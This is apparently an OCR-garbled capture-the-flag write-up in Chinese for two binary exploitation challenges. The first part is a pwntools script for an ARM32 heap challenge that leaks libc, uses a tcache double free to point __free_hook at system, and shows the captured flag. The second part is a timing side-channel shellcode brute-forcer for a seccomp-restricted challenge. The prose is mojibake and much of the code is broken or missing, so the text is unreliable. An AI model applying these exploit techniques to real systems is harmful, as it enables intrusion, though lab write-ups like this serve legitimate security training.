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arm32ZE M I FRE T, IRTF S fEcreate B+, HMABRMEK AT, HEswitchBhHiRE T, XFHLEE FFEEname Kchunk,
WA W BRI chunki BT w164k, RIEX—IRIH, AT A& —/AN M tachunk, BEIE TR, AR5 EitiElibe, BTHIR
BN FERE T /Galsr, BEFE TR libcEhl, JETHE LR A double freeit T3 fFtcache fdy _ free_hook , & Nsystem,
HiAHENT,

arch

arm-32-1little
Full RELRO

Canary found
NX enabled
PIE enabled

libc:

GNU C Library (Buildroot) stable release version 2.26, by Roland McGrath et al.

2.26Klibc, 5ZMI22TERZ .

exp

from pwn import

import os
lambda : io.recv(x)
lambda : io.recvall()
lambda : io.recvline(keepends True)
lambda : io.recvuntil(x, drop = True)
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lambda x : io.sendline(x)

lambda x, y : io.sendafter(x, y)
lambda x, y : io.sendlineafter(x, y)
lambda : io.interactive()

lambda : io.close()

lambda x : log.info(

context.log_ level
context.arch

context.terminal

server_port 14242

if(LOCAL):
gdb.attach(io)

cre(t, sz, name):

sla( 5 )

sla('?", (1))

if(t 0 t 4):
return

sla('?", (sz))

sa( , hame)

rm(idx):
sla( )
sla( 5 (idx))

show(idx):
sla( c )
sla( , (idx))

play(idx):

sla( 5 )
sla( 5 (idx))
exit ():

sla(

exploit(n):

1i(

1i( (Ox40000000 + OXOOEA101A))
1i( (0x40000000 + OX0EEA1058))

1i( (Ox40000000 + OXOAEEACO6))

1i( (0x40000000 + 0x1198 ))

1i( ( Ox40000000 + Ox0001200C))




if(LOCAL):
libc_base

else:
libc_base

__free_hook

system libc_base

li(

li(

iin (10):
cre(1l, 0x400,
iin (9):
rm(i)
iin (5):
cre(4, 0x20,

cre(4, 0x20,

p32(0x1234)
p32(0x10000)
p32(0x100)
p32(0x10000)
p32(0)

re(1l, ox20, p)

cre(4, o,
cre(4, o,
play(8)
sla(

sla(

sla(

sla(

sla(

sa(']",
show(8)

0x3f691724

(0x3f664000

libc_base

libc.sym[

0x40013580) 0x54b76580
libc.sym[ ]
libc.sym[

(libc_base))

( __free_hook))

p32(0x100)

p32(0)

p32(0x2)




leak u32( ru( )[-4:1)

1i( (leak))

libc_base leak (0x3f79e828 0x31664000)
__free_hook libc_base libc.sym[

system libc_base libc.sym[

1i( (libc_base))
1i( ( __free_hook))

rm(8)

1i( )
p p32(__free_hook)
cre(1l, 0x20, p)

p p32(system)
cre(1, 0x20, p)

1i(
rm(9)

def finish():
ia()
c()

if _ _name__
for n in
if True:
1i( (n))
elf = ELF(elf_path)
if LOCAL:
if LIBC:
libc ELF(libc_path)
io = process([

else:
io = process([

else:
io = remote(server_ip, server_port)
if LIBC:
libc ELF(libc_path)

exploit(n)
finish()

, elf path])

, elf path])




$ cat flag
[DEBUG] Sent ©x9 bytes:
b'cat flag\n'
[DEBUG] Received ©x2b bytes:
b'flag{8dc8acal-6f19-4db5-875d-2a2daal8adcd}\n"
flag{8dc8acal-6f19-4db5-875d-2a2daal8adcd}

slient

Z8 {1217 read Sopeni$, W LR Hretffg & 3H T2 MY ¥ 23207, MiiSeiTseccompt&ll, J&H#M7E .
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from pwn import

context.binary

def pwn(p, index, ch):
shellcode

shellcode

shellcode

if index OF

shellcode . (index, ch)
else:

shellcode . (index, ch)

shellcode asm(shellcode)

p.sendafter( , shellcode.ljust(ox40-14, b

(0x20 + @, 127):
(10):

p = remote(

break
except:

sleep(3)

continue

try:
pwn(p, index, ch)
except:




start = time.time()
try:
p.recv(timeout=2)
except:
pass
end = time.time()
p.close()
if end-start ilo5¢
a.append(ch)
print( .join([ (i) for i in a]))
break
else:
print( .join([ (i) for i in a]))
break

index index

print( .join([ (i) for i in a]))
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